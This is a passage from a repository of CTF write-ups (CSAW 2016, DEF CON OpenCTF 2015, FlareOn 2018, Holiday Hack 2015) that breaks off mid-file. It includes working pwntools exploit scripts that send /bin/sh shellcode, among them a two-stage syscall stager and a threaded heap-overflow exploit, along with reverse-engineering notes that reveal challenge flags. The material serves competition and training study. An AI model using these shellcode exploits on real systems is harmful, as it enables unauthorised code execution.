malloc(size1 + size2 + 8) 27 | # size1 = p16(size1) # 16 bit size 28 | # size2 = p32(size2) # 32 bit size, must be <= 0x40000000 29 | 30 | version = p16(1) 31 | header = version + p16(size1) + p32(size2) 32 | c.send(header) 33 | 34 | if size1 == 0xffff: 35 | # First thread 36 | buff = '\xff' * (size1+size2) 37 | c.send(buff) 38 | else: 39 | # All other threads 40 | buff = p8(0xff) * (size1) 41 | buff += p8(0x84) # Signed first bit 42 | buff += p8(0x7f) 43 | buff += p8(0xff) 44 | buff += p8(0xff) 45 | 46 | c.send(buff) 47 | 48 | 49 | def start_threads(): 50 | t = threading.Thread(target=thread_listen, args=(p, )) 51 | t.daemon = True 52 | t.start() 53 | return t 54 | 55 | curr_t = start_threads() 56 | 57 | r = remote('127.0.0.1', 24242) 58 | 59 | n_threads = p16(num_threads) 60 | connect_host = socket.inet_aton('127.0.0.1') 61 | 62 | payload = n_threads 63 | payload += p16(p) # port 64 | payload += connect_host 65 | 66 | r.sendline(payload) 67 | 68 | r.interactive() 69 | -------------------------------------------------------------------------------- /csaw-2016/pwn500/writeup3.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import socket 3 | import threading 4 | import random 5 | import time 6 | 7 | p = random.randint(20000, 50000) 8 | num_threads = 90 9 | 10 | def thread_listen(port=9999): 11 | l = socket.socket() 12 | l.bind(('0.0.0.0', port)) 13 | l.listen(5) 14 | 15 | for i in xrange(num_threads): 16 | conn, _ = l.accept() 17 | print(conn, _) 18 | if i == 0: 19 | t = threading.Thread(target=thread_send, args=(conn, 0xffff, 0x9000)) 20 | else: 21 | t = threading.Thread(target=thread_send, args=(conn, 0x20-3, 0x3, i)) 22 | 23 | t.start() 24 | 25 | def thread_send(c, size1, size2, index=0xffff): 26 | # malloc(size1 + size2 + 8) 27 | # size1 = p16(size1) # 16 bit size 28 | # size2 = p32(size2) # 32 bit size, must be <= 0x40000000 29 | 30 | version = p16(1) 31 | header = version + p16(size1) + p32(size2) 32 | c.send(header) 33 | 34 | if size1 == 0xffff: 35 | # First thread 36 | buff = [] 37 | split_size = 0x200 38 | for _ in xrange((size1+size2) / split_size): 39 | buff += '\xff' * (split_size) 40 | buff += '\x80' 41 | 42 | buff = ''.join(buff) 43 | c.send(buff) 44 | else: 45 | # All other threads 46 | buff = p8(0xff) * (size1) 47 | buff += p8(0x84) # Signed first bit 48 | buff += p8(0x7f) 49 | buff += p8(0xff) 50 | buff += p8(0xff) 51 | 52 | c.send(buff) 53 | 54 | 55 | def start_threads(): 56 | t = threading.Thread(target=thread_listen, args=(p, )) 57 | t.daemon = True 58 | t.start() 59 | return t 60 | 61 | curr_t = start_threads() 62 | 63 | r = remote('127.0.0.1', 24242) 64 | 65 | n_threads = p16(num_threads) 66 | connect_host = socket.inet_aton('127.0.0.1') 67 | 68 | payload = n_threads 69 | payload += p16(p) # port 70 | payload += connect_host 71 | 72 | r.sendline(payload) 73 | 74 | r.interactive() 75 | -------------------------------------------------------------------------------- /defcon-openctf-2015/runic/README.md: -------------------------------------------------------------------------------- 1 | # Runic 2 | 3 | Below is the main function for Runic: 4 | 5 | ![Runic main](runic.png) 6 | 7 | The following events happen: 8 | * read() of 0x40 bytes (64 bytes) 9 | * call() to the buffer that was just read into 10 | 11 | We can send a max of 64 bytes of shellcode, which is immediately executed. 12 | 13 | The following script simply sends a `/bin/sh` shellcode, and a shell of ours. 14 | 15 | ```python 16 | import sys 17 | from pwn import * # pip install pwntools 18 | 19 | context(arch='x86', os='linux') 20 | 21 | HOST = '127.0.0.1' 22 | PORT = 4444 23 | 24 | ## Example 25 | # r = process('./runic') 26 | r = remote(HOST, PORT) 27 | 28 | # Debug process 29 | ''' 30 | gdb.attach(r, """ 31 | bp 80484fa 32 | c 33 | """) 34 | ''' 35 | 36 | shellcode = asm(shellcraft.sh()) 37 | 38 | r.sendline(shellcode) 39 | 40 | r.interactive() 41 | ``` 42 | -------------------------------------------------------------------------------- /defcon-openctf-2015/runic/runic: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/defcon-openctf-2015/runic/runic -------------------------------------------------------------------------------- /defcon-openctf-2015/runic/runic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/defcon-openctf-2015/runic/runic.png -------------------------------------------------------------------------------- /defcon-openctf-2015/runic/win.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from pwn import * # pip install pwntools 3 | 4 | context(arch='x86', os='linux') 5 | 6 | HOST = '127.0.0.1' 7 | PORT = 4444 8 | 9 | ## Example 10 | r = remote(HOST, PORT) 11 | 12 | ''' 13 | gdb.attach(r, """ 14 | bp 80484fa 15 | c 16 | """) 17 | ''' 18 | 19 | shellcode = asm(shellcraft.sh()) 20 | 21 | r.sendline(shellcode) 22 | 23 | r.interactive() 24 | -------------------------------------------------------------------------------- /defcon-openctf-2015/sigil/.gdb_history: -------------------------------------------------------------------------------- 1 | r 2 | vmmap 3 | q 4 | -------------------------------------------------------------------------------- /defcon-openctf-2015/sigil/README.md: -------------------------------------------------------------------------------- 1 | # Sigil 2 | 3 | The main funciton of sigil is below: 4 | ![Sigil main](sigil.png) 5 | 6 | The following occurs: 7 | * memory region is set to `read-write-execute` permissions 8 | * read() of length 16 into that memory region 9 | * call to the buffer just read 10 | 11 | The gameplan for this exploit is to send an initial payload which will call `read()` into the `RWX` memory region. From here, we send the actual `/bin/sh` payload which will continue executing after our stage 1 payload. 12 | 13 | We can call `read` via `syscall` to make this shellcode small. The following must be setup for this to work: 14 | * rax - 0 15 | * rdi - file descriptor to read from, i.e. stdin 16 | * rsi - destination buffer 17 | * rdx - 0x30 : Arbitrary length to read 18 | 19 | The `rax` register is already set to `0` for our `read` syscall, so no modification needs to happen there. The `rdi` register needs to be a `0` in order to read from stdin, so a simple `xor rdi, rdi` will accomplish this for us. The destination buffer is already stored in the rdx register when our shellcode is run, which means we only need to execute a `mov rsi, rdx` in order to setup our destination buffer location. Lastly, we need to set a read length, and a simple `mov rdx, 0x30` will work. 20 | 21 | The final stage 1 shellcode is below: 22 | ``` 23 | mov rsi, rdx' # rdx already contains our buffer location 24 | mov edx, 0x30' # set our read length 25 | add rsi, 10' # adjust our buffer a bit further down, so we don't overwrite our initial shellcode 26 | syscall # Execute read 27 | ``` 28 | 29 | From here, we send a second shellcode containing our generic `/bin/sh` shellcode in order to receive our shell. 30 | 31 | The full exploit is below: 32 | 33 | ```python 34 | from pwn import * # pip install pwntools 35 | context(arch='amd64') 36 | 37 | HOST = '127.0.0.1' 38 | PORT = 4444 39 | 40 | # r = process('./sigil') 41 | r = remote(HOST, PORT) 42 | 43 | # Debug helper 44 | """ 45 | gdb.attach(r, ''' 46 | bp 40062a 47 | c 48 | ''') 49 | """ 50 | 51 | """ 52 | read() syscall 53 | rax - 0 54 | rdi - file descriptor to read from - 0 => stdin 55 | rsi - destination buffer 56 | rdx - length to read 57 | """ 58 | 59 | """ 60 | rax is already 0 for syscall read 61 | rdi is already 0 62 | 'xor rdi, rdi', # Read from stdin (file descriptor 0) 63 | """ 64 | shellcode = asm('\n'.join([ 65 | 'mov rsi, rdx', # rdx already contains our buffer location 66 | 'mov edx, 0x30', 67 | 'add rsi, 10', 68 | 'syscall' 69 | ])) 70 | 71 | # Ensure we send a full 16 byte Stage 1 payload. 72 | shellcode = shellcode.rjust(16, '\x90') 73 | log.info("Shellcode:[{}] {}".format(len(shellcode), shellcode)) 74 | 75 | # Create second payload - simple /bin/sh payload 76 | # Add a beginning nop sled, because why not? 77 | log.info("Stage2: {}".format(shellcraft.sh())) 78 | sc = asm(shellcraft.sh()) 79 | sc = sc.rjust(0x30, '\x90') 80 | log.info("Stage2: {}".format(sc)) 81 | 82 | r.sendline(shellcode + sc) 83 | 84 | r.interactive() 85 | 86 | -------------------------------------------------------------------------------- /defcon-openctf-2015/sigil/sigil: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/defcon-openctf-2015/sigil/sigil -------------------------------------------------------------------------------- /defcon-openctf-2015/sigil/sigil.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/defcon-openctf-2015/sigil/sigil.png -------------------------------------------------------------------------------- /defcon-openctf-2015/sigil/win.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | context(arch='amd64') 3 | 4 | HOST = '127.0.0.1' 5 | PORT = 4444 6 | 7 | r = process('./sigil') 8 | # r = remote(HOST, PORT) 9 | 10 | # Debug helper 11 | """ 12 | gdb.attach(r, ''' 13 | bp 40062a 14 | c 15 | ''') 16 | """ 17 | 18 | """ 19 | read() syscall 20 | rax - 0 21 | rdi - file descriptor to read from - 0 => stdin 22 | rdi - destination buffer 23 | rdx - length to read 24 | """ 25 | 26 | """ 27 | rax is already 0 for syscall read 28 | rdi is already 0 29 | rdx is already a large number 30 | 'xor rdi, rdi', # Read from stdin (file descriptor 0) 31 | """ 32 | shellcode = asm('\n'.join([ 33 | 'mov rsi, rdx', # rdx already contains our buffer location 34 | 'mov edx, 0x30', 35 | 'add rsi, 10', 36 | 'syscall' 37 | ])) 38 | 39 | shellcode = shellcode.rjust(16, '\x90') 40 | 41 | log.info("Shellcode:[{}] {}".format(len(shellcode), shellcode)) 42 | 43 | 44 | log.info("Stage2: {}".format(shellcraft.sh())) 45 | sc = asm(shellcraft.sh()) 46 | sc = sc.rjust(0x30, '\x90') 47 | log.info("Stage2: {}".format(sc)) 48 | 49 | r.sendline(shellcode + sc) 50 | 51 | r.interactive() 52 | -------------------------------------------------------------------------------- /flareon-2018/level5/README.md: -------------------------------------------------------------------------------- 1 | # FlareOn 2018 Level 5 Wasabi 2 | 3 | Run a local file server: 4 | 5 | ``` 6 | python -m SimpleHTTPServer 6767 7 | ``` 8 | 9 | Throw a fake string to the server and watch the output come out in the console log 10 | 11 | ``` 12 | http://127.0.0.1:6767/?q=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 13 | ``` 14 | 15 | ``` 16 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 119 " second =" 65 "result =" 0 17 | log-all.js:12 w 18 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 97 " second =" 65 "result =" 0 19 | log-all.js:12 wa 20 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 115 " second =" 65 "result =" 0 21 | log-all.js:12 was 22 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 109 " second =" 65 "result =" 0 23 | log-all.js:12 wasm 24 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 95 " second =" 65 "result =" 0 25 | log-all.js:12 wasm_ 26 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 114 " second =" 65 "result =" 0 27 | log-all.js:12 wasm_r 28 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 117 " second =" 65 "result =" 0 29 | log-all.js:12 wasm_ru 30 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 108 " second =" 65 "result =" 0 31 | log-all.js:12 wasm_rul 32 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 101 " second =" 65 "result =" 0 33 | log-all.js:12 wasm_rule 34 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 122 " second =" 65 "result =" 0 35 | log-all.js:12 wasm_rulez 36 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 95 " second =" 65 "result =" 0 37 | log-all.js:12 wasm_rulez_ 38 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 106 " second =" 65 "result =" 0 39 | log-all.js:12 wasm_rulez_j 40 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 115 " second =" 65 "result =" 0 41 | log-all.js:12 wasm_rulez_js 42 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 95 " second =" 65 "result =" 0 43 | log-all.js:12 wasm_rulez_js_ 44 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 100 " second =" 65 "result =" 0 45 | log-all.js:12 wasm_rulez_js_d 46 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 114 " second =" 65 "result =" 0 47 | log-all.js:12 wasm_rulez_js_dr 48 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 111 " second =" 65 "result =" 0 49 | log-all.js:12 wasm_rulez_js_dro 50 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 111 " second =" 65 "result =" 0 51 | log-all.js:12 wasm_rulez_js_droo 52 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 108 " second =" 65 "result =" 0 53 | log-all.js:12 wasm_rulez_js_drool 54 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 122 " second =" 65 "result =" 0 55 | log-all.js:12 wasm_rulez_js_droolz 56 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 64 " second =" 65 "result =" 0 57 | log-all.js:12 wasm_rulez_js_droolz@ 58 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 102 " second =" 65 "result =" 0 59 | log-all.js:12 wasm_rulez_js_droolz@f 60 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 108 " second =" 65 "result =" 0 61 | log-all.js:12 wasm_rulez_js_droolz@fl 62 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 97 " second =" 65 "result =" 0 63 | log-all.js:12 wasm_rulez_js_droolz@fla 64 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 114 " second =" 65 "result =" 0 65 | log-all.js:12 wasm_rulez_js_droolz@flar 66 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 101 " second =" 65 "result =" 0 67 | log-all.js:12 wasm_rulez_js_droolz@flare 68 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 45 " second =" 65 "result =" 0 69 | log-all.js:12 wasm_rulez_js_droolz@flare- 70 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 111 " second =" 65 "result =" 0 71 | log-all.js:12 wasm_rulez_js_droolz@flare-o 72 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 110 " second =" 65 "result =" 0 73 | log-all.js:12 wasm_rulez_js_droolz@flare-on 74 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 46 " second =" 65 "result =" 0 75 | log-all.js:12 wasm_rulez_js_droolz@flare-on. 76 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 99 " second =" 65 "result =" 0 77 | log-all.js:12 wasm_rulez_js_droolz@flare-on.c 78 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 111 " second =" 65 "result =" 0 79 | log-all.js:12 wasm_rulez_js_droolz@flare-on.co 80 | log-all.js:11 {func: 47, instr: 2099} "i32.eq" "first =" 109 " second =" 65 "result =" 0 81 | log-all.js:12 wasm_rulez_js_droolz@flare-on.com 82 | ``` 83 | -------------------------------------------------------------------------------- /flareon-2018/level5/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /flareon-2018/level5/log-all.js: -------------------------------------------------------------------------------- 1 | /* 2 | * User-facing API for dynamic analyses. 3 | */ 4 | 5 | result = '' 6 | 7 | Wasabi.analysis = { 8 | binary(location, op, first, second, r) { 9 | if (op == 'i32.eq' && location['func'] == 47) { 10 | result += String.fromCharCode(first); 11 | console.log(location, op, "first =", first, " second =", second, "result =", r); 12 | console.log(result); 13 | } 14 | } 15 | }; 16 | -------------------------------------------------------------------------------- /flareon-2018/level5/main.js: -------------------------------------------------------------------------------- 1 | let instance = null; 2 | let wasm_stdout = ""; 3 | let memoryStates = new WeakMap(); 4 | 5 | /** 6 | * ref: https://stackoverflow.com/a/901144/87207 7 | */ 8 | function getParameterByName(name, url) { 9 | if (!url) url = window.location.href; 10 | name = name.replace(/[\[\]]/g, "\\$&"); 11 | var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"), 12 | results = regex.exec(url); 13 | if (!results) return null; 14 | if (!results[2]) return ''; 15 | return decodeURIComponent(results[2].replace(/\+/g, " ")); 16 | } 17 | 18 | function syscall(instance, n, args) { 19 | switch (n) { 20 | default: 21 | console.log("Syscall " + n + " NYI."); 22 | break; 23 | case /* brk */ 45: return 0; 24 | case /* writev */ 146: 25 | return instance.exports.writev_c(args[0], args[1], args[2]); 26 | case /* mmap2 */ 192: 27 | //debugger; 28 | const memory = instance.exports.memory; 29 | let memoryState = memoryStates.get(instance); 30 | const requested = args[1]; 31 | if (!memoryState) { 32 | memoryState = { 33 | object: memory, 34 | currentPosition: memory.buffer.byteLength, 35 | }; 36 | memoryStates.set(instance, memoryState); 37 | } 38 | let cur = memoryState.currentPosition; 39 | if (cur + requested > memory.buffer.byteLength) { 40 | const need = Math.ceil((cur + requested - memory.buffer.byteLength) / 65536); 41 | memory.grow(need); 42 | } 43 | memoryState.currentPosition += requested; 44 | return cur; 45 | } 46 | } 47 | 48 | /** 49 | * allocate a region of the given size within the given WebAssembly instance. 50 | */ 51 | function wasm_alloc(instance, size) { 52 | return syscall(instance, /* mmap */ 192, [0, size]); 53 | } 54 | 55 | /** 56 | * write the given data at the given address within the WebAssembly instance. 57 | */ 58 | function wasm_write(instance, address, buf) { 59 | const membuf = new Uint8Array(instance.exports.memory.buffer, address); 60 | 61 | for (var i = 0; i < buf.byteLength; i++) { 62 | membuf[i] = buf[i]; 63 | } 64 | return null; 65 | } 66 | 67 | /** 68 | * read the given number of bytes from the given address within the given WebAssembly instance. 69 | */ 70 | function wasm_read(instance, address, size) { 71 | const membuf = new Uint8Array(instance.exports.memory.buffer); 72 | return membuf.slice(address, address + size); 73 | } 74 | 75 | fetch("test.wasm").then(response => 76 | response.arrayBuffer() 77 | ).then(bytes => 78 | WebAssembly.instantiate(bytes, { 79 | env: { 80 | /* 81 | * WASMCEPTION libc.a relies on the symbols for FPU, 82 | * but we don't really need them... 83 | **/ 84 | __eqtf2: function() {}, 85 | __multf3: function() {}, 86 | __unordtf2: function() {}, 87 | __addtf3: function() {}, 88 | __eqtf2: function() {}, 89 | __multf3: function() {}, 90 | __subtf3: function() {}, 91 | __netf2: function() {}, 92 | __fixunstfsi: function() {}, 93 | __floatunsitf: function() {}, 94 | __fixtfsi: function() {}, 95 | __floatsitf: function() {}, 96 | __extenddftf2: function() {}, 97 | 98 | /* trampoline to our js syscall handlelr */ 99 | __syscall0: function __syscall0(n) { return syscall(instance, n, []); }, 100 | __syscall1: function __syscall1(n, a) { return syscall(instance, n, [a]); }, 101 | __syscall2: function __syscall2(n, a, b) { return syscall(instance, n, [a, b]); }, 102 | __syscall3: function __syscall3(n, a, b, c) { return syscall(instance, n, [a, b, c]); }, 103 | __syscall4: function __syscall4(n, a, b, c, d) { return syscall(instance, n, [a, b, c, d]); }, 104 | __syscall5: function __syscall5(n, a, b, c, d, e) { return syscall(instance, n, [a, b, c, d, e]); }, 105 | __syscall6: function __syscall6(n, a, b, c, d, e, f) { return syscall(instance, n, [a, b, c, d, e, f]); }, 106 | 107 | putc_js: function (c) { 108 | c = String.fromCharCode(c); 109 | if (c == "\n") { 110 | console.log(wasm_stdout); 111 | wasm_stdout = ""; 112 | } else { 113 | wasm_stdout += c; 114 | } 115 | } 116 | } 117 | }) 118 | ).then(results => { 119 | instance = results.instance; 120 | 121 | let a = new Uint8Array([ 122 | 0xE4, 0x47, 0x30, 0x10, 0x61, 0x24, 0x52, 0x21, 0x86, 0x40, 0xAD, 0xC1, 0xA0, 0xB4, 0x50, 0x22, 0xD0, 0x75, 0x32, 0x48, 0x24, 0x86, 0xE3, 0x48, 0xA1, 0x85, 0x36, 0x6D, 0xCC, 0x33, 0x7B, 0x6E, 0x93, 0x7F, 0x73, 0x61, 0xA0, 0xF6, 0x86, 0xEA, 0x55, 0x48, 0x2A, 0xB3, 0xFF, 0x6F, 0x91, 0x90, 0xA1, 0x93, 0x70, 0x7A, 0x06, 0x2A, 0x6A, 0x66, 0x64, 0xCA, 0x94, 0x20, 0x4C, 0x10, 0x61, 0x53, 0x77, 0x72, 0x42, 0xE9, 0x8C, 0x30, 0x2D, 0xF3, 0x6F, 0x6F, 0xB1, 0x91, 0x65, 0x24, 0x0A, 0x14, 0x21, 0x42, 0xA3, 0xEF, 0x6F, 0x55, 0x97, 0xD6 123 | 124 | //0xB6, 0xFF, 0x65, 0xC3, 0xED, 0x7E, 0xA4, 0x00, 125 | // 0x61, 0xD3, 0xFF, 0x72, 0x36, 0x02, 0x67, 0x91, 126 | //0xD2, 0xD5, 0xC8, 0xA7, 0xE0, 0x6E 127 | ]); 128 | 129 | let b = new Uint8Array(new TextEncoder().encode(getParameterByName("q"))); 130 | 131 | let pa = wasm_alloc(instance, 0x200); 132 | wasm_write(instance, pa, a); 133 | 134 | let pb = wasm_alloc(instance, 0x200); 135 | wasm_write(instance, pb, b); 136 | 137 | if (instance.exports.Match(pa, a.byteLength, pb, b.byteLength) == 1) { 138 | // PARTY POPPER 139 | document.getElementById("container").innerText = "🎉"; 140 | } else { 141 | // PILE OF POO 142 | document.getElementById("container").innerText = "💩"; 143 | } 144 | 145 | // document.getElementById("answer_a").innerText = wasm_read(instance, pa, 0x200); 146 | // document.getElementById("answer_b").innerText = wasm_read(instance, pb, 0x200); 147 | 148 | }); 149 | -------------------------------------------------------------------------------- /flareon-2018/level5/test.wasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/flareon-2018/level5/test.wasm -------------------------------------------------------------------------------- /flareon-2018/level6/README.md: -------------------------------------------------------------------------------- 1 | ## Writeup 2 | 3 | [Full Writeup](http://ctfhacker.com/reverse/2018/09/16/flareon-2018-level6-angr.html) 4 | -------------------------------------------------------------------------------- /flareon-2018/level6/magic000: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/flareon-2018/level6/magic000 -------------------------------------------------------------------------------- /flareon-2018/level6/magic001: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/flareon-2018/level6/magic001 -------------------------------------------------------------------------------- /flareon-2018/level6/magic002: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/flareon-2018/level6/magic002 -------------------------------------------------------------------------------- /flareon-2018/level6/magic003: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/flareon-2018/level6/magic003 -------------------------------------------------------------------------------- /flareon-2018/level6/magic004: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/flareon-2018/level6/magic004 -------------------------------------------------------------------------------- /flareon-2018/level6/magic005: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/flareon-2018/level6/magic005 -------------------------------------------------------------------------------- /flareon-2018/level6/magic006: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/flareon-2018/level6/magic006 -------------------------------------------------------------------------------- /flareon-2018/level6/magic007: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/flareon-2018/level6/magic007 -------------------------------------------------------------------------------- /flareon-2018/level6/magic008: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/flareon-2018/level6/magic008 -------------------------------------------------------------------------------- /flareon-2018/level6/magic009: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/flareon-2018/level6/magic009 -------------------------------------------------------------------------------- /flareon-2018/level6/reconstruct.py: -------------------------------------------------------------------------------- 1 | from binaryninja import * 2 | from collections import namedtuple 3 | import sys 4 | 5 | Struct = namedtuple('Struct', ['function_addr', 'offset', 'length']) 6 | 7 | def decrypt(filename): 8 | bv = BinaryViewType.get_view_of_file(filename) 9 | print(bv) 10 | # bv.add_analysis_option("linearsweep") 11 | # bv.update_analysis_and_wait() 12 | 13 | code_addr = 0x605100 14 | len_addr = 0x605108 15 | key_addr = 0x605118 16 | 17 | data = [] 18 | 19 | for x in range(33): 20 | curr_len = struct.unpack(' 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/1_52.2.229.189/camera_feed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/1_52.2.229.189/camera_feed.png -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/1_52.2.229.189/camera_feed_overlap_error.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/1_52.2.229.189/camera_feed_overlap_error.png -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/1_52.2.229.189/factory_cam_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/1_52.2.229.189/factory_cam_1.png -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/1_52.2.229.189/gnome.conf: -------------------------------------------------------------------------------- 1 | Gnome Serial Number: NCC1701 2 | Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg 3 | Allow new subordinates?: YES 4 | Camera monitoring?: YES 5 | Audio monitoring?: YES 6 | Camera update rate: 60min 7 | Gnome mode: SuperGnome 8 | Gnome name: SG-01 9 | Allow file uploads?: YES 10 | Allowed file formats: .png 11 | Allowed file size: 512kb 12 | Files directory: /gnome/www/files/ 13 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/1_52.2.229.189/sgnet/sgnet.h: -------------------------------------------------------------------------------- 1 | /* 2 | * sgnet.c | CTF (Christmas Technology Feature) Library 3 | * 4 | * Copyright (c) 2012-2015 Alexander Taylor 5 | * 6 | * Permission to use, copy, modify, and/or distribute this software for any 7 | * purpose with or without fee is hereby granted, provided that the above 8 | * copyright notice and this permission notice appear in all copies. 9 | * 10 | * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES 11 | * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF 12 | * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR 13 | * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES 14 | * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN 15 | * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR 16 | * IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. 17 | */ 18 | #define _GNU_SOURCE 19 | 20 | #ifdef __cplusplus 21 | extern "C" { 22 | #endif 23 | 24 | #ifndef __SGNET_H__ 25 | #define __SGNET_H__ 26 | 27 | /* Standard Libraries */ 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | 42 | #ifdef _DEBUG 43 | #include 44 | #endif 45 | 46 | /* Networking Libraries */ 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #ifdef _SCTP 55 | #include 56 | #endif 57 | 58 | /* Service Setup Functions */ 59 | int sgnet_listen(const unsigned short, const int, const char *); 60 | 61 | __attribute__ ((noreturn)) 62 | void sgnet_server(int, const char *, int (*handler) (int)); 63 | void sgnet_privdrop(const char *); 64 | int sgnet_randfd(int); 65 | 66 | /* Socket Communication Wrappers */ 67 | int sgnet_readn(const int, void *, const unsigned int); 68 | int sgnet_readsn(const int, char *, const unsigned int); 69 | int sgnet_writes(const int, const char *); 70 | int sgnet_writen(const int, const void *, const unsigned int); 71 | 72 | __attribute__ ((format(printf, 2, 3))) 73 | int sgnet_writef(const int, const char *, ...); 74 | 75 | #endif 76 | 77 | #ifdef __cplusplus 78 | } 79 | #endif 80 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/1_52.2.229.189/sgnet/sgstatd.c: -------------------------------------------------------------------------------- 1 | #include "sgnet.h" 2 | #include "sgstatd.h" 3 | #include 4 | 5 | //user to drop privileges to 6 | const char *USER = "nobody"; 7 | //port to bind and listen on 8 | const unsigned short PORT = 4242; 9 | 10 | int child_main(int sd) //handler for incoming connections 11 | { 12 | int choice = 0; 13 | FILE *fp; 14 | char path[1000]; 15 | char bin[100]; 16 | 17 | 